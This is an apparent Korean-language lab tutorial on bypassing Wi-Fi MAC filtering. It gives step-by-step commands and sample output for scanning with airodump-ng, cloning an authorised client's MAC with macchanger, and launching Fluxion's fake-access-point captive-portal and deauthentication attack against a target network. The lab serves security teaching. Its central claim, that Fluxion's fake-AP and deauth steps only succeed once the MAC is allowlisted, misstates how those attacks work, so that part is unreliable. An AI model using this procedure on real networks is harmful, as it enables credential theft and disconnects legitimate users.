공격 중 MAC 주소 필터링 우회하기

Beginner
지금 연습하기

소개

MAC (Media Access Control) 주소 필터링은 라우터 또는 액세스 포인트 (AP) 가 특정 사전 승인된 MAC 주소를 가진 장치로부터의 트래픽만 허용하도록 구성하는 네트워크 보안 조치입니다. 이는 일반적인 침입자를 막을 수는 있지만, MAC 스푸핑 (MAC spoofing) 이라는 기술을 통해 이 보안 계층을 우회할 수 있습니다.

이 실습에서는 MAC 주소 필터링을 우회하는 엔드투엔드 (end-to-end) 과정을 배우게 됩니다. 먼저 대상 네트워크를 식별하고, 이미 인증된 클라이언트의 MAC 주소를 찾은 다음, 자신의 무선 어댑터 MAC 주소를 변경하여 해당 클라이언트를 사칭하게 됩니다. 마지막으로, 이를 통해 Fluxion 과 같은 도구가 그렇지 않으면 차단되었을 공격을 성공적으로 시작할 수 있음을 확인합니다. 이 실습은 네트워크 취약점을 이해하는 데 도움이 되기 위한 교육 목적으로 진행됩니다.

MAC 필터링을 사용할 가능성이 있는 네트워크 식별

이 단계에서는 필요한 도구를 설치하고 주변 무선 네트워크를 스캔합니다. 모든 무선 평가의 첫 번째 단계는 정찰 (reconnaissance) 입니다. 사용 가능한 네트워크를 확인하고 대상을 선택해야 합니다.

먼저 패키지 목록을 업데이트하고 스캔에 필요한 도구가 포함된 aircrack-ng 스위트를 설치합니다.

sudo apt-get update
sudo apt-get install -y aircrack-ng

다음으로, 무선 어댑터를 "모니터 모드 (monitor mode)"로 전환해야 합니다. 이 모드를 사용하면 어댑터가 자신에게 지정된 트래픽뿐만 아니라 공기 중에 있는 모든 Wi-Fi 트래픽을 캡처할 수 있습니다. 이 시뮬레이션 환경에서는 무선 어댑터의 이름이 wlan0입니다.

모니터 모드를 시작하려면 다음 명령을 실행합니다.

sudo airmon-ng start wlan0

모니터 모드가 활성화되었음을 나타내는 출력이 표시됩니다. 이 명령은 일반적으로 wlan0mon이라는 새 가상 인터페이스도 생성합니다.

PHY     Interface       Driver          Chipset

phy0    wlan0           iwlwifi         Intel Corporation Wireless
        (monitor mode enabled on wlan0mon)

이제 새 모니터 인터페이스 (wlan0mon) 와 함께 airodump-ng를 사용하여 범위 내의 모든 무선 네트워크를 스캔합니다.

sudo airodump-ng wlan0mon

스캔을 1 분 정도 실행합니다. 감지된 액세스 포인트 목록이 표시됩니다. 이 실습에서는 대상 네트워크의 ESSID(네트워크 이름) 가 "Target-Net"이라고 가정합니다. 네트워크가 보이면 Ctrl+C를 눌러 스캔을 중지합니다.

 CH  6 ][ Elapsed: 10 s ][ 2023-10-27 10:30

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -30       10        0    0   6  54e  WPA2 CCMP   PSK  Target-Net
 F8:E4:3B:9A:1B:C0  -65        8        0    0   1  54e  WPA2 CCMP   PSK  Other-Net

이 출력에서 "Target-Net"의 BSSID(00:11:22:33:44:55) 와 CH(채널 6) 를 기록합니다. 다음 단계에서 이 정보가 필요합니다.

'airodump-ng'를 사용하여 연결된 클라이언트의 MAC 주소 찾기

이 단계에서는 대상 네트워크에 대한 스캔을 집중하여 이미 연결된 클라이언트를 식별합니다. MAC 필터링을 우회하려면 이미 "허용 목록 (allow list)"에 있는 장치를 사칭해야 합니다. 연결된 클라이언트의 MAC 주소를 찾는 것이 이 과정의 핵심입니다.

이전 단계에서 식별한 BSSIDchannel을 사용하여 airodump-ng를 다시 실행합니다. 이번에는 스캔을 필터링하여 대상 네트워크에 대한 정보만 표시하는 옵션을 추가합니다. 이렇게 하면 출력이 더 깔끔해지고 클라이언트를 더 쉽게 찾을 수 있습니다.

대상 네트워크의 BSSID 로 00:11:22:33:44:55를, 채널로 6을 바꾸십시오.

sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 wlan0mon

출력은 두 부분으로 나뉩니다. 상단 부분은 액세스 포인트 (AP) 에 대한 정보를 표시하고, 하단 부분은 연결된 클라이언트 (스테이션) 를 표시합니다.

 CH  6 ][ Elapsed: 25 s ][ 2023-10-27 10:32

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 00:11:22:33:44:55  -32  100       30       20    1   6  54e  WPA2 CCMP   PSK  Target-Net

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe
 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1- 0      0       15

STATION 아래의 하단 섹션을 확인합니다. 이것이 "Target-Net" AP 에 연결된 클라이언트의 MAC 주소입니다. 이 예에서는 클라이언트의 MAC 주소가 AA:BB:CC:DD:EE:FF입니다.

STATION MAC 주소를 복사합니다. 다음 단계에서 자신의 MAC 주소를 스푸핑하는 데 사용할 것입니다. 주소를 얻으면 Ctrl+C를 눌러 스캔을 중지할 수 있습니다.

'macchanger'를 사용하여 어댑터의 MAC 주소를 클라이언트의 MAC 주소로 스푸핑하기

이 단계에서는 무선 어댑터의 MAC 주소를 합법적인 클라이언트로부터 캡처한 주소로 변경합니다. 이 과정을 MAC 스푸핑 (MAC spoofing) 이라고 합니다.

먼저 MAC 주소를 확인하고 조작하는 간단한 유틸리티인 macchanger를 설치해야 합니다.

sudo apt-get install -y macchanger

MAC 주소를 변경하기 전에 모니터 모드 인터페이스를 중지하고 물리적 무선 인터페이스를 비활성화해야 합니다.

sudo airmon-ng stop wlan0mon
sudo ifconfig wlan0 down

이제 macchanger를 사용하여 새 MAC 주소를 설정합니다. 이전 단계에서 기록한 클라이언트의 MAC 주소 (AA:BB:CC:DD:EE:FF) 뒤에 -m 옵션을 사용합니다.

sudo macchanger -m AA:BB:CC:DD:EE:FF wlan0

출력에는 원래 MAC 주소 (Permanent MAC) 와 새로 스푸핑된 MAC 주소가 표시됩니다.

Current MAC:   00:0c:29:12:34:56 (unknown)
Permanent MAC: 00:0c:29:12:34:56 (unknown)
New MAC:       AA:BB:CC:DD:EE:FF (unknown)

마지막으로 변경 사항을 적용하기 위해 무선 인터페이스를 다시 활성화합니다.

sudo ifconfig wlan0 up

ifconfig wlan0을 실행하고 ether 필드를 확인하여 MAC 주소가 변경되었는지 확인할 수 있습니다. 이제 어댑터가 합법적인 클라이언트를 사칭하고 있습니다.

스푸핑된 MAC 주소로 Fluxion 공격 시작하기

이 단계에서는 Fluxion 이라는 공격 도구를 실행합니다. 목표는 스푸핑된 MAC 주소를 사용하여 도구가 대상 AP 와 성공적으로 연동될 수 있음을 시연하는 것입니다. 만약 네트워크가 MAC 필터링을 사용하고 무작위의 비인가된 MAC 주소를 가지고 있었다면 이 단계는 실패했을 것입니다.

먼저 공식 GitHub 저장소에서 Fluxion 을 다운로드해야 합니다.

git clone https://www.github.com/FluxionNetwork/fluxion.git

새로 생성된 fluxion 디렉토리로 이동합니다.

cd fluxion

이제 sudo 권한으로 Fluxion 스크립트를 실행합니다.

sudo ./fluxion.sh

Fluxion 은 대화형 스크립트입니다. 여러 가지 선택을 하라는 메시지가 표시됩니다. 다음 프롬프트를 따르십시오.

  1. 언어 선택: Enter 키를 눌러 영어를 선택합니다 (또는 해당 번호를 입력합니다).
  2. 무선 어댑터 선택: Fluxion 이 wlan0 어댑터를 감지합니다. 번호를 입력하고 Enter 키를 눌러 선택합니다.
  3. 채널 선택: 네트워크를 스캔하는 옵션을 선택합니다 (예: "All channels scanner").
  4. 대상 선택: 스캔 후 네트워크 목록이 나타납니다. "Target-Net"을 찾아 해당 번호를 입력하고 Enter 키를 누릅니다.
  5. 공격 선택: 공격을 선택합니다. 이 시연에서는 Captive Portal 공격을 선택합니다.
  6. 핸드셰이크 확인: Fluxion 이 유효한 핸드셰이크 파일을 확인합니다. 건너뛰거나 인증 해제 공격을 수행하여 하나를 캡처하는 옵션을 선택합니다.

이 단계의 중요한 부분은 Fluxion 이 이러한 초기 단계를 진행할 수 있다는 것을 관찰하는 것입니다. MAC 주소가 이제 AP 의 "허용 목록"에 있으므로 Fluxion 이 AP 와 통신하고 연동하려는 시도가 성공할 것입니다.

연동 단계 이후 공격 진행 확인하기

이 마지막 단계에서는 Fluxion 의 출력을 관찰하여 MAC 스푸핑이 성공했는지 확인합니다. 전체 공격을 완료할 필요는 없습니다. 목표는 초기 보안 검사를 성공적으로 우회했는지 확인하는 것입니다.

Fluxion 에서 Captive Portal 공격을 선택하면 도구가 프로세스를 시작합니다. 터미널에서 다음과 같은 메시지가 표시되어야 합니다.

  • 가짜 액세스 포인트 (AP) 생성 중.
  • 실제 AP 에서 클라이언트 인증 해제 시도 중.
  • 클라이언트가 가짜 AP 에 연결될 때까지 대기 중.

여기서 핵심 관찰 사항은 "연동 실패" 오류가 없다는 것입니다. MAC 주소를 스푸핑하지 않고 이 공격을 실행하려고 했다면, 대상 AP 가 무인가 MAC 주소로부터의 모든 연결 시도를 거부하기 때문에 Fluxion 은 처음부터 실패했을 가능성이 높습니다. 공격이 가짜 AP 를 설정하고 클라이언트를 인증 해제하는 단계로 진행된다는 사실 자체가 MAC 필터를 성공적으로 우회했음을 증명합니다.

이러한 메시지를 보고 공격이 진행 중임을 확인한 후에는 터미널에서 Ctrl+C를 눌러 스크립트를 안전하게 중지할 수 있습니다.

마지막으로 좋은 습관으로, 작업이 끝나면 항상 어댑터의 원래 MAC 주소를 복원해야 합니다.

먼저 인터페이스를 비활성화합니다.

sudo ifconfig wlan0 down

-p (permanent) 옵션과 함께 macchanger를 사용하여 원래 하드웨어 MAC 주소를 복원합니다.

sudo macchanger -p wlan0

마지막으로 인터페이스를 다시 활성화합니다.

sudo ifconfig wlan0 up

이제 MAC 필터링을 우회하는 방법을 성공적으로 시연했으며 원래 구성을 복원하여 정리했습니다.

요약

이 실습에서는 Wi-Fi 네트워크의 MAC 주소 필터링을 우회하는 기술을 성공적으로 학습하고 실행했습니다.

aircrack-ng 스위트를 사용하여 네트워크를 스캔하고 대상을 식별하는 것으로 시작했습니다. 그런 다음 airodump-ng를 사용하여 해당 대상에 집중하여 이미 인증된 클라이언트의 MAC 주소를 찾았습니다. macchanger를 사용하여 무선 어댑터의 MAC 주소를 스푸핑하여 해당 클라이언트를 사칭했습니다. 마지막으로 Fluxion 도구를 실행하고 공격이 초기 연동 단계를 통과할 수 있음을 확인하여 MAC 필터링 보안 조치가 효과적으로 우회되었음을 입증했습니다.

이 실습 경험은 네트워크 보안의 일반적인 취약점을 보여주며, MAC 주소와 같이 쉽게 스푸핑될 수 있는 식별자에 의존하는 대신 강력한 비밀번호와 함께 WPA2/WPA3와 같은 더 강력한 보안 조치를 사용하는 것의 중요성을 강조합니다.